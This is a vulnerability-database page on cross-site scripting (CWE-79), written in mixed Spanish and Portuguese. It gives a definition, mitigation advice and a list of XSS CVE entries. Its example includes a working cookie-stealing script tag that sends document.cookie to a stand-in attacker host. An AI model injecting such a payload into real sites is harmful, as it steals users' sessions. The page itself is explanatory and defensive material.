Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-53930MEDIUMWeGIA vulnerable to Stored Cross-Site Scripting (XSS) via endpoint 'adicionar_especie.php' parameter 'especie'EPSS 0.3%CVE-2025-27099MEDIUMTuleap allows XSS via the tracker names used in the semantic timeframe deletion messageEPSS 0.3%CVE-2024-41584MEDIUMDrayTek Vigor3910 devices through 4.3.2.6 are vulnerable to reflected XSS by authenticated users, caused by missing validation of the sFormAEPSS 0.3%CVE-2025-52762HIGHWordPress flexo-posts-manager Plugin <= 1.0001 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-4970MEDIUMBSK PDF Manager <= 3.7.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-52418HIGHWordPress Gameplan theme <= 1.5.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-54540MEDIUMReflected XSS in QuickCMSEPSS 0.3%CVE-2025-47666HIGHWordPress Image&Video FullScreen Background plugin <= 1.6.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-44115MEDIUMA vulnerability has been found in Cotonti Siena v0.9.25. Affected by this vulnerability is the file /admin.php?m=config&n=edit&o=core&p=titlEPSS 0.3%CVE-2025-3715MEDIUMBold Page Builder <= 5.3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-text' ParameterEPSS 0.3%CVE-2024-47063MEDIUMComputer Vision Annotation Tool (CVAT) contains a stored XSS via the quality report data endpointEPSS 0.3%CVE-2026-26378MEDIUMCross Site Scripting vulnerability in Koha 25.11 and before allows a remote attacker to execute arbitrary code via file upload function in IEPSS 0.3%CVE-2026-65912MEDIUMDOMPurify before 3.3.2 URI Validation Bypass via ADD_ATTREPSS 0.3%CVE-2026-42052MEDIUMbeets is Vulnerable to XSSEPSS 0.3%CVE-2024-41583MEDIUMDrayTek Vigor3910 devices through 4.3.2.6 are vulnerable to stored Cross Site Scripting (XSS) by authenticated users due to poor sanitizatioEPSS 0.3%CVE-2025-4944MEDIUMLA-Studio Element Kit for Elementor <= 1.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Compare and Google Maps WidgetsEPSS 0.3%CVE-2026-25488MEDIUMCraft Commerce has Stored XSS in Tax Categories (Name & Description) Fields Leading to Potential Privilege EscalationEPSS 0.3%CVE-2025-6127MEDIUMPHPGurukul Nipah Virus Testing Management System search-report.php cross site scriptingEPSS 0.3%CVE-2025-53933MEDIUMWeGIA vulnerable to Stored Cross-Site Scripting via endpoint 'adicionar_enfermidade.php' parameter 'nome'EPSS 0.3%CVE-2025-67495HIGHZITADEL Vulnerable to Account Takeover via DOM-Based XSS in Zitadel V2 LoginEPSS 0.3%